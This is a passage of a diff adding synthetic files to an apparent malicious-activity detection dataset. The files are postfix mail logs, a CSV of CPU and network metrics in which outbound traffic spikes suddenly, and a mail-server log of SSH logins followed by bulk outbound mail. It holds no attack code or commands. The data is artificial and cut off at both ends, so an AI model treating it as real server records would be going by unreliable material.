(250 2.0.0 OK) +Aug 08 14:11:17 server postfix/smtp[19876]: 26C5A1189F: to=, from=, relay=aspmx.l.google.com[227.145.59.174]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:20 server postfix/smtp[19881]: F52D1DF8CE: to=, from=, relay=example.com[248.90.73.249]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:23 server postfix/smtp[19882]: F3DF49AA96: to=, from=, relay=aspmx.l.google.com[228.184.191.242]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:24 server postfix/smtp[19880]: D2ABC863A3: to=, from=, relay=web-host.org[13.139.124.104]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:11:25 server postfix/smtp[19883]: FAD0DFA7AC: to=, from=, relay=example.com[211.149.78.27]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:25 server postfix/smtp[19884]: D25B1D7BEA: to=, from=, relay=aspmx.l.google.com[145.168.65.240]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:28 server postfix/smtp[19885]: A35640CEBC: to=, from=, relay=aspmx.l.google.com[26.147.178.54]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:31 server postfix/smtp[19887]: 07B89E9444: to=, from=, relay=aspmx.l.google.com[71.24.229.29]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:33 server postfix/smtp[19886]: C9B9134A7F: to=, from=, relay=aspmx.l.google.com[142.254.86.8]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:33 server postfix/smtp[19889]: C638150628: to=, from=, relay=business.biz[221.84.187.210]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:34 server postfix/smtp[19888]: 6BC88CE943: to=, from=, relay=aspmx.l.google.com[26.79.91.67]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:35 server postfix/smtp[19890]: 662B72C737: to=, from=, relay=user-mail.info[136.157.48.184]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:11:38 server postfix/smtp[19891]: 0F0F420D95: to=, from=, relay=aspmx.l.google.com[95.23.118.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:38 server postfix/smtp[19892]: 7488F087A7: to=, from=, relay=aspmx.l.google.com[58.216.114.202]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:40 server postfix/smtp[19893]: CE9FAA53E9: to=, from=, relay=web-host.org[103.191.160.162]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:11:40 server postfix/smtp[19896]: 2991E545DA: to=, from=, relay=example.com[53.159.49.225]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:43 server postfix/smtp[19895]: BEEDC0F860: to=, from=, relay=mailservice.net[65.206.203.206]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:43 server postfix/smtp[19897]: A7D19E821F: to=, from=, relay=business.biz[209.126.87.74]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:44 server postfix/smtp[19894]: 648E3E4A81: to=, from=, relay=aspmx.l.google.com[184.139.74.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:46 server postfix/smtp[19898]: 551D67206C: to=, from=, relay=aspmx.l.google.com[218.91.158.150]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:47 server postfix/smtp[19899]: CD09E5052B: to=, from=, relay=aspmx.l.google.com[161.81.9.100]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:48 server postfix/smtp[19900]: CFCED9F8C8: to=, from=, relay=web-host.org[247.36.179.182]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:11:50 server postfix/smtp[19901]: D527387EFD: to=, from=, relay=aspmx.l.google.com[131.26.254.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:51 server postfix/smtp[19902]: B6B3E25CBB: to=, from=, relay=aspmx.l.google.com[181.218.199.47]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:56 server postfix/smtp[19904]: CC8145D8F4: to=, from=, relay=aspmx.l.google.com[58.130.211.148]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:56 server postfix/smtp[19905]: F4B9FAF1E7: to=, from=, relay=aspmx.l.google.com[186.223.212.226]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:58 server postfix/smtp[19906]: 08708FFFCA: to=, from=, relay=aspmx.l.google.com[217.39.243.171]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:59 server postfix/smtp[19903]: 18A5A30BDA: to=, from=, relay=example.com[16.33.243.156]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:00 server postfix/smtp[19910]: E5049FC536: to=, from=, relay=aspmx.l.google.com[58.144.38.76]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:01 server postfix/smtp[19908]: 463DFA8381: to=, from=, relay=aspmx.l.google.com[11.23.192.153]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:01 server postfix/smtp[19909]: 1E1F13B15B: to=, from=, relay=aspmx.l.google.com[15.86.119.85]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:02 server postfix/smtp[19907]: 8F7F280D89: to=, from=, relay=business.biz[94.38.176.15]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:04 server postfix/smtp[19911]: 264BAC32C2: to=, from=, relay=aspmx.l.google.com[184.46.144.170]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:05 server postfix/smtp[19913]: 6B1A18F0B4: to=, from=, relay=aspmx.l.google.com[117.204.180.203]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:05 server postfix/smtp[19915]: A7D167E25B: to=, from=, relay=aspmx.l.google.com[127.27.26.51]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:07 server postfix/smtp[19912]: 22F4897111: to=, from=, relay=business.biz[120.248.10.111]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:07 server postfix/smtp[19914]: 05ABA5193D: to=, from=, relay=aspmx.l.google.com[41.244.207.186]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:11 server postfix/smtp[19916]: ECEA4D26D6: to=, from=, relay=aspmx.l.google.com[248.2.66.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:14 server postfix/smtp[19917]: C56F6CC519: to=, from=, relay=aspmx.l.google.com[250.223.240.72]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:15 server postfix/smtp[19918]: C4BD34B889: to=, from=, relay=aspmx.l.google.com[45.211.49.113]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:19 server postfix/smtp[19919]: D1C3BAA80B: to=, from=, relay=aspmx.l.google.com[33.23.15.71]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:20 server postfix/smtp[19921]: E6D41BC29B: to=, from=, relay=mailservice.net[214.196.20.84]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:12:20 server postfix/smtp[19922]: C2D3EE20BB: to=, from=, relay=aspmx.l.google.com[12.123.190.2]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:22 server postfix/smtp[19923]: 16E0351DB2: to=, from=, relay=aspmx.l.google.com[54.14.115.203]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:24 server postfix/smtp[19920]: E9C7963A4E: to=, from=, relay=aspmx.l.google.com[153.245.214.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:25 server postfix/smtp[19924]: 58EFACDC3E: to=, from=, relay=aspmx.l.google.com[2.180.11.30]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:26 server postfix/smtp[19925]: 7D0FF82ADC: to=, from=, relay=aspmx.l.google.com[211.159.109.237]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:12:27 server postfix/smtp[19927]: 50506C1FA0: to=, from=, relay=user-mail.info[135.42.188.67]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:12:28 server postfix/smtp[19926]: B9C17E8FB5: to=, from=, relay=user-mail.info[240.103.168.117]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:12:29 server postfix/smtp[19928]: 9C206ECD7A: to=, from=, relay=aspmx.l.google.com[229.4.116.199]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_20.csv b/mali_dataset/scenario_5/mali_5_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..8351e33a849601a2764be8e4f0be8dc87d011acd --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.98,36.4,13.84,1.76,1.68 +2025-07-02T12:00:05Z,12.59,41.1,12.0,1.36,1.02 +2025-07-02T12:00:10Z,16.49,35.42,10.12,1.2,2.22 +2025-07-02T12:00:15Z,16.81,36.16,6.78,1.53,2.35 +2025-07-02T12:00:20Z,19.23,35.75,8.62,1.08,2.29 +2025-07-02T12:00:25Z,17.53,44.51,13.33,0.68,0.59 +2025-07-02T12:00:30Z,13.65,39.67,10.79,1.92,2.13 +2025-07-02T12:00:35Z,16.21,38.52,8.4,1.69,2.4 +2025-07-02T12:00:40Z,18.18,37.79,12.62,1.51,1.67 +2025-07-02T12:00:45Z,17.63,39.57,10.67,0.79,1.01 +2025-07-02T12:00:50Z,13.32,43.96,14.66,0.56,1.58 +2025-07-02T12:00:55Z,11.17,42.84,12.04,1.23,0.98 +2025-07-02T12:01:00Z,11.37,38.22,13.44,1.94,0.91 +2025-07-02T12:01:05Z,12.21,41.94,6.64,1.22,1.59 +2025-07-02T12:01:10Z,13.18,43.41,7.9,1.87,1.76 +2025-07-02T12:01:15Z,11.82,35.73,13.75,0.74,1.55 +2025-07-02T12:01:20Z,15.96,35.1,5.72,1.81,2.47 +2025-07-02T12:01:25Z,16.18,35.94,12.08,0.64,1.26 +2025-07-02T12:01:30Z,18.86,36.68,11.08,0.73,1.16 +2025-07-02T12:01:35Z,15.71,38.18,9.59,1.45,2.09 +2025-07-02T12:01:40Z,51.32,40.08,17.82,1.4,79.84 +2025-07-02T12:01:45Z,53.78,41.25,15.53,2.24,61.77 +2025-07-02T12:01:50Z,42.13,41.02,12.9,1.84,65.8 +2025-07-02T12:01:55Z,49.9,42.31,15.18,1.51,66.94 +2025-07-02T12:02:00Z,49.7,41.18,18.43,1.51,77.85 +2025-07-02T12:02:05Z,46.23,40.73,19.02,2.33,53.77 +2025-07-02T12:02:10Z,54.62,40.5,14.7,1.17,49.99 +2025-07-02T12:02:15Z,53.96,41.99,16.71,2.17,47.75 +2025-07-02T12:02:20Z,52.54,41.66,10.44,2.37,51.36 +2025-07-02T12:02:25Z,56.07,38.51,19.76,1.75,76.77 +2025-07-02T12:02:30Z,47.6,40.46,16.27,1.37,53.21 +2025-07-02T12:02:35Z,52.04,38.82,8.87,2.39,70.98 +2025-07-02T12:02:40Z,58.35,39.24,16.03,1.25,30.17 +2025-07-02T12:02:45Z,59.43,47.44,18.41,1.61,44.16 +2025-07-02T12:02:50Z,51.52,47.11,11.1,2.32,52.61 +2025-07-02T12:02:55Z,49.47,45.53,11.32,1.24,46.76 +2025-07-02T12:03:00Z,56.43,41.51,14.68,1.58,79.62 +2025-07-02T12:03:05Z,44.26,47.15,10.46,0.91,36.54 +2025-07-02T12:03:10Z,55.08,41.98,11.25,1.43,75.92 +2025-07-02T12:03:15Z,55.98,47.67,12.23,1.36,57.26 +2025-07-02T12:03:20Z,53.27,44.38,19.89,2.03,68.77 +2025-07-02T12:03:25Z,53.18,38.97,14.78,2.21,31.64 +2025-07-02T12:03:30Z,49.75,45.86,11.73,2.13,51.07 +2025-07-02T12:03:35Z,47.71,41.71,8.47,2.06,47.02 +2025-07-02T12:03:40Z,46.03,42.14,11.73,2.11,68.03 +2025-07-02T12:03:45Z,56.28,45.42,14.75,2.48,58.48 +2025-07-02T12:03:50Z,57.01,39.88,10.44,2.36,70.47 +2025-07-02T12:03:55Z,56.07,43.07,16.56,0.92,66.54 +2025-07-02T12:04:00Z,58.07,43.68,11.96,1.42,40.78 +2025-07-02T12:04:05Z,47.16,40.51,10.58,1.63,78.08 +2025-07-02T12:04:10Z,53.25,40.83,14.93,1.07,39.02 +2025-07-02T12:04:15Z,55.09,43.27,8.78,1.53,66.81 +2025-07-02T12:04:20Z,57.85,40.56,12.2,0.96,43.67 +2025-07-02T12:04:25Z,42.06,44.14,19.22,2.04,39.13 +2025-07-02T12:04:30Z,57.35,43.55,17.0,1.56,37.0 +2025-07-02T12:04:35Z,44.47,46.24,19.21,2.42,74.26 +2025-07-02T12:04:40Z,56.98,44.97,15.36,1.4,54.93 +2025-07-02T12:04:45Z,58.35,45.88,10.67,2.43,78.6 +2025-07-02T12:04:50Z,52.15,40.61,9.99,1.66,78.95 +2025-07-02T12:04:55Z,56.6,42.06,9.34,1.02,40.64 +2025-07-02T12:05:00Z,53.17,43.34,9.03,1.3,44.62 +2025-07-02T12:05:05Z,55.51,44.02,11.46,1.6,52.99 +2025-07-02T12:05:10Z,42.74,39.95,10.23,1.09,58.43 +2025-07-02T12:05:15Z,40.68,39.74,12.67,2.41,78.71 +2025-07-02T12:05:20Z,48.28,38.21,19.21,2.0,59.43 +2025-07-02T12:05:25Z,52.99,45.4,14.32,0.9,58.57 +2025-07-02T12:05:30Z,55.58,39.91,16.86,2.08,77.11 +2025-07-02T12:05:35Z,59.42,46.52,10.03,2.2,44.49 +2025-07-02T12:05:40Z,46.27,43.55,11.55,0.82,69.77 +2025-07-02T12:05:45Z,51.04,47.66,17.87,1.81,68.66 +2025-07-02T12:05:50Z,58.64,46.93,11.84,2.16,34.06 +2025-07-02T12:05:55Z,49.98,47.47,10.73,1.16,34.35 +2025-07-02T12:06:00Z,48.92,44.07,11.54,0.91,69.2 +2025-07-02T12:06:05Z,47.0,40.16,10.27,1.98,42.75 +2025-07-02T12:06:10Z,42.25,44.62,16.06,2.49,45.93 +2025-07-02T12:06:15Z,59.78,43.77,19.89,1.0,79.51 +2025-07-02T12:06:20Z,58.94,45.68,18.49,1.36,47.89 +2025-07-02T12:06:25Z,51.11,39.2,15.63,2.33,49.79 +2025-07-02T12:06:30Z,55.57,41.98,18.0,2.1,49.4 +2025-07-02T12:06:35Z,40.92,45.36,12.05,1.3,36.05 +2025-07-02T12:06:40Z,41.74,44.01,16.67,1.37,72.15 +2025-07-02T12:06:45Z,49.69,41.94,9.03,2.29,76.54 +2025-07-02T12:06:50Z,50.43,44.22,8.89,1.99,58.65 +2025-07-02T12:06:55Z,59.91,47.46,10.92,2.43,77.59 +2025-07-02T12:07:00Z,44.53,39.73,8.39,1.08,38.08 +2025-07-02T12:07:05Z,43.25,42.76,13.94,1.31,69.54 +2025-07-02T12:07:10Z,54.88,43.11,9.27,1.65,41.26 +2025-07-02T12:07:15Z,49.61,39.75,18.58,1.05,33.85 +2025-07-02T12:07:20Z,54.3,46.01,19.11,2.22,74.91 +2025-07-02T12:07:25Z,43.2,46.5,19.15,0.88,55.03 diff --git a/mali_dataset/scenario_5/mali_5_20.log b/mali_dataset/scenario_5/mali_5_20.log new file mode 100644 index 0000000000000000000000000000000000000000..a42765a3a3c4232c527f4e248da57e26b3113ab9 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_20.log @@ -0,0 +1,374 @@ +Jul 02 12:00:40 mail-server sshd[4041]: Accepted password for user from 192.168.70.116 port 33223 ssh2 +Jul 02 12:00:45 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 mail-server sshd[7757]: Accepted password for user from 192.168.155.158 port 30009 ssh2 +Jul 02 12:01:05 mail-server sshd[9755]: Accepted password for user from 192.168.14.145 port 43279 ssh2 +Jul 02 12:01:20 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 mail-server postfix/smtp[36995]: F1F7ECC5E0: to=, relay=mx.remote.com[141.102.109.37]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:40 mail-server postfix/smtp[29219]: 98E6A2A755: to=, relay=mx.remote.com[105.54.241.22]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:41 mail-server postfix/smtp[39881]: 08C9D4F890: to=, relay=mx.remote.com[224.183.193.69]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:42 mail-server postfix/smtp[30569]: F3BD93A950: to=, relay=mx.remote.com[82.50.119.37]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:46 mail-server postfix/smtp[25379]: 6D5DB72F27: to=, relay=mx.remote.com[117.73.83.151]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:47 mail-server postfix/smtp[27890]: DD2DFD96B6: to=, relay=mx.remote.com[153.165.20.211]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:48 mail-server postfix/smtp[37892]: 1D4EDC9266: to=, relay=mx.remote.com[214.171.7.12]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:49 mail-server postfix/bounce[20463]: 3169524463: sender non-delivery notification: 09DFF92164 +Jul 02 12:01:50 mail-server postfix/smtp[24491]: 883A38928B: to=, relay=mx.remote.com[114.245.101.111]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:52 mail-server postfix/smtp[44642]: 1787072CEB: to=, relay=mx.remote.com[55.91.253.8]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:52 mail-server postfix/smtp[12660]: C4800550E1: to=, relay=mx.remote.com[196.142.232.164]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:53 mail-server postfix/smtp[34386]: 86A4D59AB2: to=, relay=mx.remote.com[65.240.206.73]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:53 mail-server postfix/smtp[11579]: F2AE41C3FC: to=, relay=mx.remote.com[155.123.23.97]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:54 mail-server postfix/smtp[49890]: 250126DE25: to=, relay=mx.remote.com[80.239.14.11]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:56 mail-server postfix/smtp[28645]: 9CCE0CFD65: to=, relay=mx.remote.com[134.218.250.179]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:57 mail-server postfix/smtp[39484]: 43A0D35EEF: to=, relay=mx.remote.com[86.190.161.27]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:58 mail-server postfix/smtp[25464]: 9FC21C59E6: to=, relay=mx.remote.com[25.9.193.204]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:59 mail-server postfix/smtp[48965]: 03BFE2553B: to=, relay=mx.remote.com[83.8.128.198]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:01:59 mail-server postfix/smtp[26846]: 5A41BDB238: to=, relay=mx.remote.com[150.40.214.202]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:00 mail-server postfix/smtp[47516]: 8830C5B154: to=, relay=mx.remote.com[12.118.214.79]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:02 mail-server postfix/smtp[46146]: F57713031B: to=, relay=mx.remote.com[185.62.242.90]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:02 mail-server postfix/smtp[40323]: 66F17767BC: to=, relay=mx.remote.com[35.6.21.179]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:03 mail-server postfix/smtp[12922]: 005BE10E0A: to=, relay=mx.remote.com[161.108.170.148]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:05 mail-server postfix/smtp[24738]: FA3A37E51C: to=, relay=mx.remote.com[211.23.236.110]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:06 mail-server postfix/smtp[23774]: 131C25459E: to=, relay=mx.remote.com[191.145.33.95]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:08 mail-server postfix/smtp[25317]: 6BFE4B743B: to=, relay=mx.remote.com[111.15.51.63]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:09 mail-server postfix/smtp[49419]: F59C77D032: to=, relay=mx.remote.com[40.208.77.239]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:09 mail-server postfix/smtp[13882]: 7194A407EB: to=, relay=mx.remote.com[223.225.239.86]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:09 mail-server postfix/smtp[22044]: 77ED61A0E4: to=, relay=mx.remote.com[216.213.107.228]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:10 mail-server postfix/smtp[48731]: ED339DCEF5: to=, relay=mx.remote.com[64.73.127.102]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:11 mail-server postfix/smtp[49128]: 8AD8DE4AB1: to=, relay=mx.remote.com[157.213.99.208]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:11 mail-server postfix/smtp[28466]: D6F25F7A22: to=, relay=mx.remote.com[80.239.11.60]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:13 mail-server postfix/smtp[24060]: D18F94411C: to=, relay=mx.remote.com[67.157.111.34]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:15 mail-server postfix/smtp[20000]: 896FE1EA6C: to=, relay=mx.remote.com[48.168.85.211]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:15 mail-server postfix/smtp[39873]: 473D05493C: to=, relay=mx.remote.com[74.219.190.161]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:15 mail-server postfix/smtp[13249]: F3E9FC4757: to=, relay=mx.remote.com[39.229.92.169]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:16 mail-server postfix/smtp[15018]: 32A99ACF18: to=, relay=mx.remote.com[216.125.219.252]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:18 mail-server postfix/smtp[26157]: 52A4BB2DE4: to=, relay=mx.remote.com[59.178.5.132]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:18 mail-server postfix/smtp[23649]: 6D66504089: to=, relay=mx.remote.com[10.167.251.117]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:21 mail-server postfix/smtp[25866]: D97DB7F5FD: to=, relay=mx.remote.com[86.79.87.230]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:21 mail-server postfix/smtp[29806]: 9D12AB0A9A: to=, relay=mx.remote.com[198.197.141.237]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:21 mail-server postfix/smtp[35199]: 0FCED0CE33: to=, relay=mx.remote.com[115.198.43.238]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:23 mail-server postfix/smtp[29169]: A78B671E03: to=, relay=mx.remote.com[128.118.172.158]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:25 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:02:28 mail-server postfix/smtp[34034]: A728542B11: to=, relay=mx.remote.com[86.86.147.160]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:29 mail-server postfix/smtp[31504]: 49A4162608: to=, relay=mx.remote.com[25.43.249.141]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:29 mail-server postfix/smtp[47190]: BFB0FFD5D8: to=, relay=mx.remote.com[133.30.114.180]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:29 mail-server postfix/smtp[37699]: E2C5CA60F4: to=, relay=mx.remote.com[63.74.159.246]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:31 mail-server postfix/smtp[40629]: D9E401AA37: to=, relay=mx.remote.com[179.11.52.152]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:31 mail-server postfix/smtp[24229]: A5522C6BA3: to=, relay=mx.remote.com[151.190.170.239]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:31 mail-server postfix/smtp[34522]: 466E4EACEF: to=, relay=mx.remote.com[24.104.75.244]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:31 mail-server postfix/bounce[47461]: 78DB3E7BF0: sender non-delivery notification: A7FF6F5B3E +Jul 02 12:02:32 mail-server postfix/smtp[19344]: 911C4772B6: to=, relay=mx.remote.com[86.224.63.207]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mail-server postfix/smtp[43782]: 78F608B362: to=, relay=mx.remote.com[94.175.81.217]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:36 mail-server postfix/smtp[45972]: 5E8121430A: to=, relay=mx.remote.com[228.186.156.105]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:36 mail-server postfix/smtp[45498]: 2CA80E047D: to=, relay=mx.remote.com[125.45.251.57]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mail-server postfix/smtp[27753]: 592556F9FD: to=, relay=mx.remote.com[21.93.130.99]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:41 mail-server postfix/smtp[17150]: 01D56625AB: to=, 